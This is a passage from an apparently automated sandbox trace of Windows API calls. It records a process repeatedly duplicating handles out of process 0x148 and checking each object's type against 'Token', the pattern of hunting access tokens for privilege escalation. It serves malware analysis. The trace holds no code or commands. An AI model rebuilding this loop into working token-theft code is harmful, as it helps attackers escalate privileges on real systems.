0xc0000004 [0196.769] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.769] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.769] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.769] LocalFree (hMem=0x160a40) returned 0x0 [0196.769] CloseHandle (hObject=0x16c) returned 1 [0196.769] CloseHandle (hObject=0x168) returned 1 [0196.769] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.769] GetCurrentProcess () returned 0xffffffffffffffff [0196.769] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x44, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.769] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.769] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.769] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.769] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.769] LocalFree (hMem=0x160a40) returned 0x0 [0196.769] CloseHandle (hObject=0x16c) returned 1 [0196.769] CloseHandle (hObject=0x168) returned 1 [0196.769] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.769] GetCurrentProcess () returned 0xffffffffffffffff [0196.769] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x48, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.769] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.769] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.769] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.769] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.769] LocalFree (hMem=0x160a40) returned 0x0 [0196.769] CloseHandle (hObject=0x16c) returned 1 [0196.769] CloseHandle (hObject=0x168) returned 1 [0196.770] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.770] GetCurrentProcess () returned 0xffffffffffffffff [0196.770] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.770] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.770] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.770] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.770] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.770] LocalFree (hMem=0x160a40) returned 0x0 [0196.770] CloseHandle (hObject=0x16c) returned 1 [0196.770] CloseHandle (hObject=0x168) returned 1 [0196.770] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.770] GetCurrentProcess () returned 0xffffffffffffffff [0196.770] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x50, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.770] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.770] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.770] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.770] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.770] LocalFree (hMem=0x181a40) returned 0x0 [0196.770] CloseHandle (hObject=0x16c) returned 1 [0196.770] CloseHandle (hObject=0x168) returned 1 [0196.770] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.770] GetCurrentProcess () returned 0xffffffffffffffff [0196.770] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x54, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.770] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.770] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.770] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.771] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.771] LocalFree (hMem=0x160a40) returned 0x0 [0196.771] CloseHandle (hObject=0x16c) returned 1 [0196.771] CloseHandle (hObject=0x168) returned 1 [0196.771] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.771] GetCurrentProcess () returned 0xffffffffffffffff [0196.771] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x58, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.771] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.771] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.771] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.771] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.771] LocalFree (hMem=0x181a40) returned 0x0 [0196.771] CloseHandle (hObject=0x16c) returned 1 [0196.771] CloseHandle (hObject=0x168) returned 1 [0196.771] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.771] GetCurrentProcess () returned 0xffffffffffffffff [0196.771] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.771] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.771] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.771] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.772] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.772] LocalFree (hMem=0x160a40) returned 0x0 [0196.772] CloseHandle (hObject=0x16c) returned 1 [0196.773] CloseHandle (hObject=0x168) returned 1 [0196.773] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.773] GetCurrentProcess () returned 0xffffffffffffffff [0196.773] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x60, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.773] CloseHandle (hObject=0x168) returned 1 [0196.773] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.773] GetCurrentProcess () returned 0xffffffffffffffff [0196.773] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x64, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.773] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.773] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.773] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.773] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.773] LocalFree (hMem=0x160a40) returned 0x0 [0196.773] CloseHandle (hObject=0x16c) returned 1 [0196.773] CloseHandle (hObject=0x168) returned 1 [0196.773] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.773] GetCurrentProcess () returned 0xffffffffffffffff [0196.773] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x68, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.773] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.773] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.773] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.774] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.774] LocalFree (hMem=0x181a40) returned 0x0 [0196.774] CloseHandle (hObject=0x16c) returned 1 [0196.774] CloseHandle (hObject=0x168) returned 1 [0196.774] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.774] GetCurrentProcess () returned 0xffffffffffffffff [0196.774] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x6c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.774] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.774] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.774] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.774] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.774] LocalFree (hMem=0x160a40) returned 0x0 [0196.774] CloseHandle (hObject=0x16c) returned 1 [0196.774] CloseHandle (hObject=0x168) returned 1 [0196.774] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.774] GetCurrentProcess () returned 0xffffffffffffffff [0196.774] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x70, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.774] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.774] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.774] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.774] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.774] LocalFree (hMem=0x181a40) returned 0x0 [0196.774] CloseHandle (hObject=0x16c) returned 1 [0196.775] CloseHandle (hObject=0x168) returned 1 [0196.775] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.775] GetCurrentProcess () returned 0xffffffffffffffff [0196.775] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x74, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.775] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.775] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.775] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.775] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.775] LocalFree (hMem=0x160a40) returned 0x0 [0196.775] CloseHandle (hObject=0x16c) returned 1 [0196.775] CloseHandle (hObject=0x168) returned 1 [0196.775] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.775] GetCurrentProcess () returned 0xffffffffffffffff [0196.775] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x78, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.775] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.775] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.775] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.775] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.775] LocalFree (hMem=0x181a40) returned 0x0 [0196.775] CloseHandle (hObject=0x16c) returned 1 [0196.775] CloseHandle (hObject=0x168) returned 1 [0196.775] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.775] GetCurrentProcess () returned 0xffffffffffffffff [0196.776] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x7c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.776] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.776] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.776] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.776] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.776] LocalFree (hMem=0x160a40) returned 0x0 [0196.776] CloseHandle (hObject=0x16c) returned 1 [0196.776] CloseHandle (hObject=0x168) returned 1 [0196.776] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.776] GetCurrentProcess () returned 0xffffffffffffffff [0196.776] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x80, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.776] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.776] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.776] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.776] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.776] LocalFree (hMem=0x160a40) returned 0x0 [0196.776] CloseHandle (hObject=0x16c) returned 1 [0196.776] CloseHandle (hObject=0x168) returned 1 [0196.776] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.776] GetCurrentProcess () returned 0xffffffffffffffff [0196.776] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x84, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.776] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.776] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.777] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.777] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.777] LocalFree (hMem=0x181a40) returned 0x0 [0196.777] CloseHandle (hObject=0x16c) returned 1 [0196.777] CloseHandle (hObject=0x168) returned 1 [0196.777] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.777] GetCurrentProcess () returned 0xffffffffffffffff [0196.777] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x88, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.777] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.777] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.777] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.777] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.777] LocalFree (hMem=0x160a40) returned 0x0 [0196.777] CloseHandle (hObject=0x16c) returned 1 [0196.777] CloseHandle (hObject=0x168) returned 1 [0196.777] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.777] GetCurrentProcess () returned 0xffffffffffffffff [0196.777] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.777] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.777] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.778] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.778] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.778] LocalFree (hMem=0x160a40) returned 0x0 [0196.778] CloseHandle (hObject=0x16c) returned 1 [0196.778] CloseHandle (hObject=0x168) returned 1 [0196.778] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.778] GetCurrentProcess () returned 0xffffffffffffffff [0196.778] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x90, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.778] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.778] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.778] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.779] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.779] LocalFree (hMem=0x160a40) returned 0x0 [0196.779] CloseHandle (hObject=0x16c) returned 1 [0196.779] CloseHandle (hObject=0x168) returned 1 [0196.779] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.779] GetCurrentProcess () returned 0xffffffffffffffff [0196.779] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x94, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.779] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.779] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.779] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.779] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.779] LocalFree (hMem=0x160a40) returned 0x0 [0196.779] CloseHandle (hObject=0x16c) returned 1 [0196.779] CloseHandle (hObject=0x168) returned 1 [0196.779] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.779] GetCurrentProcess () returned 0xffffffffffffffff [0196.779] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x98, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.779] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.779] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.779] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.779] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.779] LocalFree (hMem=0x160a40) returned 0x0 [0196.779] CloseHandle (hObject=0x16c) returned 1 [0196.780] CloseHandle (hObject=0x168) returned 1 [0196.780] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.780] GetCurrentProcess () returned 0xffffffffffffffff [0196.780] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x9c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.780] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.780] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.780] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.780] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.780] LocalFree (hMem=0x160a40) returned 0x0 [0196.780] CloseHandle (hObject=0x16c) returned 1 [0196.780] CloseHandle (hObject=0x168) returned 1 [0196.780] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.780] GetCurrentProcess () returned 0xffffffffffffffff [0196.780] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xa0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.780] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.780] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 